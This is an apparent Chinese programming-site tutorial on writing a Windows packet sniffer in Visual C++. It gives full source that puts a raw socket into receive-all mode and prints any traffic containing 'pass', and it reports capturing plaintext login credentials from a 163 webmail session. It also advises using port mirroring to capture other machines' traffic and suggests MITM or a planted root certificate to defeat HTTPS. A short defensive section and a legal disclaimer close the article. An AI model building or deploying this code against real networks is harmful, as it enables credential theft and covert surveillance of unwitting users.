首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> VC >> 關於VC++

Visual C++ 實作網路嗅探器:原理、代碼與實測抓取 163 郵箱密碼

     編輯:關於VC++

前言:嗅探器的雙面性

網管員用它分析流量、診斷效能;駭客用它竊取帳號密碼、商業機密。嗅探器工作於資料鏈路層,隱蔽性極強,受害者往往毫無察覺。本文實作一個極簡嗅探器,專抓 HTTP 明文傳輸的 pass 關鍵字,演示原理與風險。

核心原理:乙太網廣播與混雜模式

  1. 共享式乙太網:集線器/交換機未隔離埠時,所有幀廣播到每個埠
  2. 正常模式:網卡只收目的 MAC = 自己 MAC 或廣播幀
  3. 混雜模式:網卡接收**所有**經過的幀,不管目的 MAC

實作嗅探器需兩個條件:

  • 共享式乙太網環境(或交換機開啟 Port Mirroring)
  • 網卡設為混雜模式

關鍵 API:WSAIoctl + SIO_RCVALL


int WSAIoctl(
    SOCKET s,             // 原始套接字
    DWORD dwIoControlCode, // SIO_RCVALL
    LPVOID lpvInBuffer,   // 輸入緩衝
    DWORD cbInBuffer,
    LPVOID lpvOutBuffer,  // 輸出緩衝
    DWORD cbOutBuffer,
    LPDWORD lpcbBytesReturned,
    LPWSAOVERLAPPED lpOverlapped,
    LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
);

SIO_RCVALL 指示 TCP/IP 協議棧將**所有 IP 封包**複製到指定原始套接字。

完整原始碼(主流程)


#define MAX_PACK_LEN 4096
#define MAX_ADDR_LEN 16

typedef struct _iphdr {
    BYTE  h_lenver;      // 4bit版本 + 4bit首部長度
    BYTE  tos;
    WORD  total_len;
    WORD  ident;
    WORD  frag_and_flags;
    BYTE  ttl;
    BYTE  proto;         // 6=TCP, 17=UDP
    WORD  checksum;
    DWORD sourceIP;
    DWORD destIP;
} IP_HEADER;

SOCKET SockRaw;

void CheckSockError(int code, const char* msg) {
    if (code == SOCKET_ERROR) {
        printf("%s Error:%d\n", msg, WSAGetLastError());
        closesocket(SockRaw); exit(0);
    }
}

int DecodeIpPack(char* buf, int len) {
    IP_HEADER* ip = (IP_HEADER*)buf;
    char srcIP[MAX_ADDR_LEN], dstIP[MAX_ADDR_LEN];
    
    sockaddr_in sa; sa.sin_addr.s_addr = ip->sourceIP;
    strncpy(srcIP, inet_ntoa(sa.sin_addr), MAX_ADDR_LEN);
    sa.sin_addr.s_addr = ip->destIP;
    strncpy(dstIP, inet_ntoa(sa.sin_addr), MAX_ADDR_LEN);
    
    int ipHdrLen = 4 * (ip->h_lenver & 0x0F);
    char* payload = buf + ipHdrLen + 20;  // 跳過 IP + TCP 頭 (簡化假設 20 位元組)
    
    // 簡易關鍵字匹配(實戰需完整 HTTP 解析)
    if (strstr(payload,"pass") || strstr(payload,"Pass") || strstr(payload,"PASS")) {
        printf("\n\n%s->%s bytes=%d TTL=%d\n%s", srcIP, dstIP, len, ip->ttl, payload);
    }
    return 0;
}

void main() {
    WSADATA wsa; WSAStartup(0x0202, &wsa);
    SockRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
    CheckSockError(SockRaw, "socket");
    
    // 綁定本機 IP
    char hostname[255]; gethostname(hostname, 255);
    hostent* he = gethostbyname(hostname);
    sockaddr_in sa = { AF_INET, htons(6000) };
    memcpy(&sa.sin_addr, he->h_addr_list[0], he->h_length);
    bind(SockRaw, (sockaddr*)&sa, sizeof(sa));
    CheckSockError(0, "bind");
    
    // 開啟混雜模式
    DWORD dwIn = 1, dwOut[10], dwRet;
    WSAIoctl(SockRaw, SIO_RCVALL, &dwIn, sizeof(dwIn), dwOut, sizeof(dwOut), &dwRet, NULL, NULL);
    CheckSockError(0, "Ioctl");
    
    printf("It's now sniffing, CTRL+C to exit...\n\n");
    char RecvBuf[MAX_PACK_LEN];
    while (1) {
        memset(RecvBuf, 0, sizeof(RecvBuf));
        int n = recv(SockRaw, RecvBuf, sizeof(RecvBuf), 0);
        CheckSockError(n, "recv");
        DecodeIpPack(RecvBuf, n);
    }
}

實測畫面:攔截 163 郵箱登入

嗅探器控制台輸出
圖 1:成功捕獲 HTTP POST 中的 user=xxx&pass=yyy 明文密碼

關鍵技術細節補充

1. 原始套接字需管理員權限

Vista+ 系統需「以系統管理員身分執行」,否則 socket(..., SOCK_RAW, ...) 失敗返回 WSAEACCES (10013)。

2. 交換機環境下的部署

  • 集線器:天然廣播,直接生效
  • 管理型交換機:配置 Port Mirroring (SPAN) 將目標埠流量鏡像到嗅探埠
  • 非管理型交換機:無法嗅探他人流量(僅見自己的)

3. 協議解析的局限與擴充

本例為教學簡化:

  • 假設 TCP 頭固定 20 位元組(實際有選項欄位,需解析 Data Offset 欄位)
  • 僅匹配 pass 關鍵字(實戰需 HTTP 協議解析、URL Decode、表單欄位提取)
  • 不處理 IP 分片、TCP 重組(長封包會被截斷)
  • 不支援 HTTPS(TLS 加密需中間人攻擊或安裝根憑證)

4. 防禦視角

  • 全站 HTTPS + HSTS:徹底加密傳輸層
  • 交換機關閉未用埠、啟用 Port Security、監控 SPAN 會話
  • 主機端安裝 ARP 防火牆、監聽 SIO_RCVALL 狀態變化

結語

百行代碼實現核心嗅探功能,展示了網路協議棧的脆弱面。理解原理非為作惡,而是為了建構更安全的防禦體系。請勿用於非法用途,違者必究。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved